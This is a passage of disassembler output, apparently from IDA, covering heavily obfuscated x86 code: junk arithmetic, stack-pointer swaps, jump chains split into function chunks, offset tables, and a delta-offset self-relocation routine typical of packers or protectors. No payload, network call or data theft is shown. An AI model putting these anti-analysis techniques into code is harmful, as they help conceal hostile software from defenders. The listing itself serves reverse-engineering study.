; ---------------------------------------------------------------------------


loc_5987C3:				; CODE XREF: sdfs____:0058DBC0j
		pop	eax
		mov	dh, bh
		pop	ebx
		sub	dh, 1Fh
		jmp	loc_594C2E
; ---------------------------------------------------------------------------


loc_5987CF:				; CODE XREF: sdfs____:00590C19j
		add	al, dh
		pop	edx
		jmp	loc_59663C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		jmp	loc_598340
; ---------------------------------------------------------------------------


loc_5987DF:				; CODE XREF: sdfs____:0058C00Fj
		push	esi
		push	edi
		jmp	loc_59632C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE3C


loc_5987E6:				; CODE XREF: sub_58FE3C+480Ej
		mov	dx, [esp+0]
		push	ecx
		push	esp
		pop	ecx
		push	edi
		jmp	loc_5924B5
; END OF FUNCTION CHUNK	FOR sub_58FE3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5987F3:				; CODE XREF: sub_591435-3E0Aj
					; sub_59841F-9C66j
		jo	loc_591170
		sub	esi, 3FF73F73h
		mov	ecx, esi
		jmp	loc_58BD2F
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_598806:				; CODE XREF: sub_59587A-43EEj
		add	ebx, eax
		push	esi
		jmp	loc_593D71
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_59880E:				; CODE XREF: sub_596736-7D22j
		mov	esi, 40h
		and	ecx, esi
		mov	esi, [esp+0]
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_597EE2
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------


loc_598821:				; CODE XREF: sdfs____:0059179Ej
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6F9F3028h
		shl	edx, 6
		push	ebp
		mov	ebp, 4DE71624h
		jmp	loc_58F9C3
; ---------------------------------------------------------------------------


loc_59884A:				; CODE XREF: sdfs____:005972C7j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	eax, esi
		pop	esi
		jmp	loc_591DC9
; ---------------------------------------------------------------------------


loc_59885F:				; CODE XREF: sdfs____:0058BF62j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_598864:				; CODE XREF: sdfs____:005938E4j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 11E81101h
		mov	eax, edi
		jmp	loc_58BC80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_598876:				; CODE XREF: sub_5941BD-EB2j
		pop	eax
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_59517B
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_598882:				; CODE XREF: sdfs____:0058D315j
		add	cl, 44h
		add	cl, 7Ah
		jo	loc_58D796
		push	ebx
		mov	bh, 3Dh
		jmp	loc_58C1D4
; ---------------------------------------------------------------------------
		mov	bh, 56h


loc_598899:				; CODE XREF: sdfs____:00591EC7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	esi
		mov	esi, 2C221FFEh
		xor	[esp+4], esi
		jmp	loc_590E10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E92A


loc_5988B7:				; CODE XREF: sub_58E92A+A2B5j
		push	eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	5CE0h
		mov	[esp+4+var_4], ebx
		mov	ebx, 4
		add	eax, 452D3B86h
		add	eax, ebx
		sub	eax, 452D3B86h
		pop	ebx
		jmp	loc_593255
; END OF FUNCTION CHUNK	FOR sub_58E92A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5988E7:				; CODE XREF: sub_591435+30F6j
		xor	eax, ebp
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_5926E5
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5988F7:				; CODE XREF: sdfs____:0058E493j
		add	ebp, esi
		pop	esi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59891C:				; CODE XREF: sub_591435+186Fj
		push	esp
		pop	ebx
		push	edi
		mov	edi, 23A97841h
		shr	edi, 2
		sub	edi, 1F9E0BA5h
		not	edi
		dec	edi
		jmp	loc_58ED65
; ---------------------------------------------------------------------------


loc_598935:				; CODE XREF: sub_591435+239Dj
					; sub_592853+5551j
		mov	[esp+0Ch+var_C], edx
		mov	edx, 572A3DC2h
		or	edx, 37E53F36h
		jbe	loc_591309
		sub	edx, 0F82EF890h
		mov	[edi+20h], edx
		jmp	loc_5915B1
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_598957:				; CODE XREF: sub_594228-50Cj
		add	esp, 4
		jmp	loc_595B55
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		jmp	loc_58DA2F
; ---------------------------------------------------------------------------


loc_598968:				; CODE XREF: sdfs____:005923D5j
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_58E604
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_59897C:				; CODE XREF: sub_5987BC-C1AEj
		inc	esi
		dec	esi
		add	esi, 45E310ACh
		jmp	loc_5919FA
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_598989:				; CODE XREF: sub_591370+1A9Aj
		pop	esi
		xchg	ebp, [esp-0Ch+arg_8]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		jmp	loc_596405
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_598999:				; CODE XREF: sdfs____:005948AEj
		mov	ebp, 3B6C3246h
		or	ecx, ebp
		pop	ebp
		jmp	loc_5960B3
; ---------------------------------------------------------------------------


loc_5989A6:				; CODE XREF: sdfs____:00591411j
		add	[esp+2], ax
		pop	ax
		pop	small word ptr [esp]
		push	small 7204h
		mov	[esp], bx
		mov	bx, 2
		push	bx
		mov	bx, 7680h
		sub	[esp+4], bx
		mov	bx, [esp]
		add	esp, 2
		sub	word ptr [esp+2], 3B59h
		add	[esp+2], bx
		add	word ptr [esp+2], 3B59h
		add	word ptr [esp+2], 7680h
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5989F8:				; CODE XREF: sdfs____:0058E2C6j
		mov	[esp], ecx
		mov	ecx, 0FFD207B0h
		sub	ebp, ecx
		pop	ecx
		add	edi, ebp
		jmp	loc_592F98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_598A0A:				; CODE XREF: sub_591370-2630j
		push	eax
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		jmp	loc_595683
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_598A18:				; CODE XREF: sub_58BC4E+2FF3j
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_58F123
; END OF FUNCTION CHUNK	FOR sub_58BC4E

; =============== S U B	R O U T	I N E =======================================



sub_598A21	proc near		; CODE XREF: sub_596736-449Cj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058BD05 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C621 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D8DD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058E2AC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E9A7 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0058F517 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00590598 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590EE3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591713 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591E08 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593F82 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005949C2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00595862 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00596A33 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005975C3 SIZE 00000007 BYTES

		push	ebp
		jmp	loc_58E2AC
sub_598A21	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_598A27:				; CODE XREF: sdfs____:005903EEj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	eax, 200523AAh
		shl	eax, 1
		jmp	loc_5917A3
; ---------------------------------------------------------------------------


loc_598A43:				; CODE XREF: sdfs____:005916CBj
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_598A48:				; CODE XREF: sub_59841F-B7EAj
		pop	ebp
		sub	ebx, 0A2A587C3h
		sub	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_58BAA9
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_598A58:				; CODE XREF: sdfs____:0058C68Ej
					; sdfs____:0058D549j ...
		neg	esi
		jmp	loc_58CA3C
; ---------------------------------------------------------------------------


loc_598A5F:				; CODE XREF: sdfs____:00592B49j
		add	edx, 1731108Ah
		push	ebp
		mov	ebp, 4C1E7733h
		jmp	loc_58F168
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_598A70:				; CODE XREF: sub_591370+62CEj
		mov	[esp-14h+arg_10], eax
		mov	eax, 57F6211Fh
		neg	eax
		push	ebp
		mov	ebp, 3D384D56h
		push	84Ah
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, 70473548h
		dec	ebx
		shr	ebx, 6
		not	ebx
		push	esi
		mov	esi, 3F574D88h
		add	ebx, esi
		jmp	loc_5905F0
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_598AA0:				; CODE XREF: sub_5BB696-2B8D8j
		mov	cl, bl
		push	ebx
		mov	bh, cl
		jmp	loc_59132A
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_598AAA:				; CODE XREF: sdfs____:0058F9A8j
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_58FFDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_598AB5:				; CODE XREF: sub_59587A+D3Dj
		sub	ebp, 0B7C44CC9h
		mov	esi, ebp
		jmp	loc_58D2C6
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_598AC2:				; CODE XREF: sub_591435+72D2j
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_58DE69
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_598AD3:				; CODE XREF: sdfs____:00591F89j
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0B124AB1h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_591344
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_598B07:				; CODE XREF: sub_591435+6E7Bj
		lodsw
		xor	ax, bx
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		jmp	loc_593CCC
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_598B17:				; CODE XREF: sub_591370+4A9Bj
		add	eax, edx
		add	dword ptr [eax], 1
		pop	eax
		jmp	loc_593AC6
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_598B25:				; CODE XREF: sdfs____:00597425j
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		push	edx
		mov	edx, 40B67851h
		jmp	loc_595AEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_598B36:				; CODE XREF: sub_5941BD-79E8j
		sub	eax, 300E6FBDh
		jmp	loc_593B75
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_598B40:				; CODE XREF: sub_594228-2FFDj
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		shl	edx, 6
		or	edx, 660110B6h
		jmp	loc_59093A
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	esi
		push	39DDh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_597708
; ---------------------------------------------------------------------------


loc_598B66:				; CODE XREF: sdfs____:005902FAj
		pop	eax
		push	ebp
		jmp	loc_595270
; ---------------------------------------------------------------------------


loc_598B6D:				; CODE XREF: sdfs____:0058FBA4j
		sub	ebx, 2
		jmp	loc_592F11
; ---------------------------------------------------------------------------


loc_598B78:				; CODE XREF: sdfs____:0058D05Fj
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_591115
; ---------------------------------------------------------------------------


loc_598B82:				; CODE XREF: sdfs____:0059225Dj
		push	eax
		jmp	loc_595709
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_598B88:				; CODE XREF: sub_5962EB-6CB9j
		push	edx
		mov	edx, 78BC7A31h
		mov	edi, 2AA315h
		add	edi, edx
		pop	edx
		jmp	loc_590EEA
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_598B9B:				; CODE XREF: sdfs____:0058D47Aj
		pop	ebx
		add	edi, 4
		jmp	loc_58D064
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_598BA4:				; CODE XREF: sub_5941BD+FE3j
		mov	ebx, esp
		jmp	loc_597466
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_598BAB:				; CODE XREF: sub_594228-4ECCj
		add	ecx, esi
		pop	esi
		jmp	loc_58EEEC
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_598BB3:				; CODE XREF: sdfs____:00590479j
		jmp	loc_59326F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E92A


loc_598BB8:				; CODE XREF: sub_58E92A-2D30j
					; sdfs____:00590362j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+4+var_4]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ebx
		mov	ebx, 3376EA9h
		sub	[esp+8+var_4], ebx
		pop	ebx
		mov	eax, [esp+4+var_4]
		jmp	loc_5988B7
; END OF FUNCTION CHUNK	FOR sub_58E92A
; ---------------------------------------------------------------------------


loc_598BE4:				; CODE XREF: sdfs____:005904CDj
		mov	edx, 41EC52CCh
		jmp	loc_596D53
; ---------------------------------------------------------------------------


loc_598BEE:				; CODE XREF: sdfs____:00596864j
		and	ebp, 1D68143Ah
		push	ecx
		mov	ecx, 1F5946BCh
		add	ecx, 313C22BFh
		jmp	loc_593969
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_598C05:				; CODE XREF: sub_594228+1AFj
		add	eax, esi
		mov	esi, [esp+16h+var_18+2]
		add	esp, 4
		xor	eax, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], eax
		xor	eax, [esp+12h+var_14+2]
		pop	esp
		mov	cx, word ptr [esp+0Eh+var_10+2]
		push	4DEEh
		mov	[esp+12h+var_14+2], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	esi
		push	edi
		mov	edi, 651D2A1Ah
		sub	edi, 3E1DAEF9h
		mov	esi, edi
		pop	edi
		jmp	loc_597162
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_598C41:				; CODE XREF: sub_59841F-506j
		pop	ebx
		xor	ecx, [esp+8+var_8]
		xor	[esp+8+var_8], ecx
		xor	ecx, [esp+8+var_8]
		pop	esp
		add	esp, 4
		xor	[esp+0], eax
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_598C57:				; CODE XREF: sub_58CDE6+54E1j
		pop	edi
		add	edx, 4B4A54CBh
		sub	edx, 28C15CCEh
		sub	edx, eax
		push	ebp
		mov	ebp, 28C15CCEh
		add	edx, ebp
		pop	ebp
		sub	edx, 4B4A54CBh
		sub	esp, 4
		jmp	loc_595B3D
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_598C7D:				; CODE XREF: sub_594228+2BE7j
		push	eax
		mov	eax, 4BA254FDh
		mov	ebx, 4BA254F9h
		xor	ebx, eax
		pop	eax
		jmp	loc_58E03F
; ---------------------------------------------------------------------------


loc_598C90:				; CODE XREF: sub_594228+3E3Fj
		sub	esp, 4
		mov	[esp+22h+var_24+2], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	[esp+26h+var_28+2], 4
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_591081
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_598CB3:				; CODE XREF: sub_5987BC-8FD0j
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		movzx	eax, al
		jmp	loc_591A98
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59369D


loc_598CC1:				; CODE XREF: sub_59369D+14j
		pop	edx
		push	ebx
		jmp	loc_59066B
; END OF FUNCTION CHUNK	FOR sub_59369D
; ---------------------------------------------------------------------------


loc_598CC8:				; CODE XREF: sdfs____:005929A3j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_598CDB:				; CODE XREF: sdfs____:0058E7EEj
		push	ax
		mov	al, 0B1h
		add	bl, al
		pop	ax
		jmp	loc_58E520
; ---------------------------------------------------------------------------


loc_598CE8:				; CODE XREF: sdfs____:0058DBD9j
		push	edx
		mov	edx, 4
		sub	ebx, 167F3047h
		add	ebx, edx
		add	ebx, 167F3047h
		pop	edx
		push	ebp
		mov	ebp, 1ADA337Fh
		or	ebp, 20600CD5h
		jmp	loc_58F4DB
; ---------------------------------------------------------------------------


loc_598D0E:				; CODE XREF: sdfs____:00593368j
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		not	eax
		shl	eax, 7
		js	loc_5959CF
		jmp	loc_58CF2E
; ---------------------------------------------------------------------------
		add	eax, 4
		mov	dl, 0ADh


loc_598D2C:				; CODE XREF: sdfs____:005923FBj
		push	esi
		mov	esi, 0A6D5579h
		shl	esi, 3
		jz	loc_58DA73
		or	esi, 5EAF3419h
		add	esi, 0DC24A621h
		sub	ebx, esi
		pop	esi
		shl	ebx, 8
		xor	ebx, 0FEE3B10Dh
		jmp	loc_59441E
; ---------------------------------------------------------------------------


loc_598D58:				; CODE XREF: sdfs____:0058E523j
					; sdfs____:loc_58FE42j
		dec	al
		jmp	loc_5955BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_598D5F:				; CODE XREF: sub_5962EB-52A9j
		push	esi
		mov	esi, 31476557h
		jmp	loc_591E1F
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_598D6A:				; CODE XREF: sdfs____:0058F8AAj
		pop	edx
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_594D9A
; ---------------------------------------------------------------------------


loc_598D73:				; CODE XREF: sdfs____:0058FEEBj
		add	esp, 4
		xor	eax, 4D876923h
		jmp	loc_596AB6
; ---------------------------------------------------------------------------


loc_598D80:				; CODE XREF: sdfs____:00594822j
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_593A30
; ---------------------------------------------------------------------------


loc_598D90:				; CODE XREF: sdfs____:0058FB61j
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 6BAF06C3h
		mov	ecx, 6BAF06C7h
		xor	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		jmp	loc_58D81E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_598DB6:				; CODE XREF: sub_58EB23+10j
					; sdfs____:005967ACj
		sub	bl, 60h
		push	edx
		jmp	loc_592133
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_598DBF:				; CODE XREF: sub_591435+701Aj
		pop	ecx
		jmp	loc_58EACA
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_598DC5:				; CODE XREF: sdfs____:00592DBDj
		pop	ebx
		dec	ch
		add	ch, 43h
		sub	al, ch
		jmp	loc_58C9C7
; ---------------------------------------------------------------------------


loc_598DD2:				; CODE XREF: sdfs____:0058F4FEj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_591470
; ---------------------------------------------------------------------------


loc_598DDE:				; CODE XREF: sdfs____:00597C41j
		jmp	loc_58C5F3
; ---------------------------------------------------------------------------


loc_598DE3:				; CODE XREF: sdfs____:00594B3Ej
		jmp	loc_594096
; ---------------------------------------------------------------------------
		dd 1105h, 5F4E58h, 0F86F3DBAh, 12FF4Ch,	0FA7F4800h, 7C90EB94h
		dd 5F5A11h, 217h, 2, 1,	3, 0F86F3DBAh, 5 dup(0)
		dd offset loc_59DC43
		dd offset loc_5A930F
		dd offset loc_5A92B7
		dd offset loc_5AF993
		dd offset loc_5A727D
		dd offset loc_59EFDD
		dd offset loc_5AC927
		dd offset loc_5AA95E
		dd offset sub_5A005A
		dd offset sub_59D7AB
		dd offset sub_5A3261
		dd offset sub_59AE39
		dd offset sub_5A9B1D
		dd offset sub_599739
		dd offset sub_5AE72D
		dd offset sub_5A4F29
		dd offset sub_5A94C4
		dd offset sub_59B196
		dd offset sub_5AB762
		dd offset sub_59AA62
		dd offset sub_5AA329
		dd offset sub_5AD51E
		dd offset sub_5A3AE4
		dd offset sub_5A5330
		dd offset sub_59A46C
		dd offset sub_5A253A
		dd offset sub_5B0266
		dd offset sub_5A75B9
		dd offset sub_5A157F
		dd offset sub_5A59A9
		dd offset sub_59F2D1
		dd offset sub_5AA83C
		dd offset sub_59CDA4
		dd offset sub_5A041B
		dd offset sub_5A26E8
		dd offset sub_5AF3AA
; ---------------------------------------------------------------------------
		and	ah, dh
		pop	edx
		add	[esi-52h], bh
		pop	edx
		add	[edx], ch
		mov	ah, 5Ah
		add	cl, bh
		or	eax, 0D65E005Ah
		pop	edx
		add	ah, dl
		xlat
		pop	edx
		add	bh, cl
		retf
; ---------------------------------------------------------------------------
		dw 5Ah
		dd offset sub_5A5B27
		dd offset sub_5A16B8
		dd offset sub_5A119E
		dd offset sub_599574
		dd offset sub_5A5648
		dd offset sub_5AE643
		dd offset sub_5A0AA2
		dd offset sub_5B02C0
		dd offset sub_5A4DFC
		dd offset sub_59F336
		dd offset sub_5AC478
		dd offset sub_59B95E
		dd offset sub_5A809B
		dd offset sub_5AB593
		dd offset sub_5ABC2F
		dd offset sub_5AA504
		dd offset sub_5A1024
		dd offset sub_599360
		dd offset sub_5A600D
		dd offset sub_5B0377
		dd offset sub_5AB5A9
		dd offset sub_5A4D9D
		dd offset sub_5A4E04
; ---------------------------------------------------------------------------
		sub	[eax+7562005Ah], ecx
		pop	edx
		add	dl, ah
		cvtps2pd xmm0, qword ptr [eax]
		inc	ecx
		mov	ebp, 0A5E0005Ah
		pop	edx
		add	ah, cl
		retn
; ---------------------------------------------------------------------------
		dw 59h
		dd offset sub_5ADAE7
		dd offset sub_5A1726
		dd offset sub_5A0879
		dd offset sub_5AD015
		dd offset sub_5AFD37
		dd offset sub_599CD6
		dd offset sub_5A355D
		dd offset sub_59B2E4
		dd offset sub_599A6F
		dd offset sub_5AB08D
; ---------------------------------------------------------------------------
		jmp	dword ptr [ecx]
; ---------------------------------------------------------------------------
		dw 5Ah
		dd offset sub_59BA1E
		dd offset sub_5AB7CD
		dd offset sub_5998AD
		dd offset sub_599859
		dd offset sub_59B3C9
		dd offset sub_5AD213
		dd offset sub_5AE4A9
		dd offset sub_59A9B4
		dd offset sub_5A80B3
		dd offset sub_59BAD3
		dd offset sub_5AC1D8
		dd offset sub_59D18A
		dd offset sub_5AF8FF
		dd offset sub_59AFE7
		dd offset sub_5A4B1E
		dd offset sub_5A0BA8
		dd offset sub_59B22E
		dd offset sub_59A516
		dd offset sub_5A5968
		dd offset sub_5AB622
		dd offset sub_59D37E
		dd offset sub_5A522E
		dd offset sub_5A54C9
		dd offset sub_59BB73
		dd offset sub_59A4E8
		dd offset sub_5A0599
		dd offset sub_5A5735
		dd offset sub_5A8B3E
		dd offset sub_5AD336
		dd offset sub_5A1F28
		dd offset sub_5997A8
		dd offset sub_5A10E3
		dd offset sub_59D4FD
		dd offset sub_5A60F3
		dd offset sub_5A2AFE
		dd offset sub_59961A
		dd offset sub_5AB782
		dd offset sub_5A85E0
		dd offset sub_5AE9FA
; ---------------------------------------------------------------------------
		test	eax, 720059A3h
		cmpsb
		pop	ecx
		add	al, al
		xor	[edx+0], bl
		pop	es
		stc
		pop	edx
		add	[ebx+esi*8+585A005Ah], bl
		pop	edx
		add	[ebx+21005AB3h], dl
		mov	ch, 5Ah
		add	bl, ch
		and	[edx+0], bl
		cmpsd
		cmpsd
		pop	ecx
		add	[edx-0BFFA640h], ah
		jnz	short loc_59909D
		add	ch, dl
		retn
; ---------------------------------------------------------------------------
		dw 59h
		dd offset loc_59AB23
		dd offset sub_59CE13
		dd offset sub_5A66E1
		dd offset sub_5A2F58
		dd offset sub_59CD26
		dd offset sub_5AAF7A
		dd offset sub_59DD36
		dd offset sub_5A8101
		dd offset sub_59F0E3
		dd offset sub_5AE6B6
		dd offset sub_5A9799
		dd offset sub_5ABB65
		dd offset sub_5A7A2B
		dd offset sub_5A687B
		dd offset sub_5AF294
		dd offset sub_59ACD0
		dd offset sub_5A9D6F
		dd offset sub_5A7BEB
		dd offset sub_5A311C
		dd offset sub_5A65D3
; ---------------------------------------------------------------------------
		push	esp
		add	[edx+0], bl
		push	edx


loc_59909D:				; CODE XREF: sdfs____:00599041j
		cmp	eax, 0CF92005Ah
		pop	edx
		add	[edx-5Ah], dl
		pop	ecx
		add	al, cl
		das
		pop	edx
		add	[edx], al
		jnb	short near ptr loc_599108+1
		add	[esi+0A005ADAh], dl
		mov	ch, 59h
		add	cl, dl
		xchg	eax, ebp
		pop	ecx
		add	[ecx+44005A63h], ch
		hlt
; ---------------------------------------------------------------------------
		dw 5Ah
		dd offset loc_5AA08F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F4D80


loc_5990C8:				; CODE XREF: sdfs____:005DD262j
					; sdfs____:005DD26Cj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7EA5316h
		mov	eax, edi
		add	edi, 7EA502Eh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5990E6
		jmp	short loc_5990F9
; ---------------------------------------------------------------------------


loc_5990E6:				; CODE XREF: sub_5F4D80-5BC9Ej
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5990F5
; ---------------------------------------------------------------------------


loc_5990F0:				; CODE XREF: sub_5F4D80-5BC89j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5990F5:				; CODE XREF: sub_5F4D80-5BC92j
		or	ecx, ecx
		jnz	short loc_5990F0


loc_5990F9:				; CODE XREF: sub_5F4D80-5BC9Cj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_599106:				; CODE XREF: sub_5F4D80-5BC73j
		xor	eax, eax


loc_599108:				; CODE XREF: sdfs____:005990ADj
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_599106
; END OF FUNCTION CHUNK	FOR sub_5F4D80
; START	OF FUNCTION CHUNK FOR sub_5992DA


